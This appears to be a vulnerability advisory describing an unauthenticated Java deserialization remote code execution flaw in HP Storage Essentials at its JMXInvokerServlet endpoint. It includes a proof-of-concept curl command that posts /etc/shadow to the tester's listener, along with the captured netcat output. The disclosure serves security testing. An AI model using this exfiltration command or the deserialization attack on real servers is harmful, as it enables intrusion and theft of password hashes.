The HP Storage Essentials version 188.8.131.52, is vulnerable to an unauthenticated Remote Code Execution via Java deserialization when a user sends a Java serialized request to the service endpoint at: /invoker/JMXInvokerServlet.
The HP Storage Essentials exposes a Java web server at http://[vulnerable_host]/servlet.html, presenting a login form that is used for product administration.
Exploiting the vulnerability
An unauthenticated attacker can send Java serialized payload to the Java server endpoint at http://[vulnerable_host]/invoker/JMXInvokerServlet (which is a JBoss server) and achieve code execution. To achieve remote code execution as a proof of concept, we used the Burp extension “Java SerialKiller” to create a serialized request of the following command:
curl –X post –d @/etc/shadow http://
The vulnerable server connected to the tester’s machine, which had a netcat session listening on port 8888, and sending the /etc/shadow file as the POST body, confirming the execution of an arbitrary command with root privileges:
connect to [x.x.x.x] from (UNKNOWN) [y.y.y.y] 33098
post / HTTP/1.1
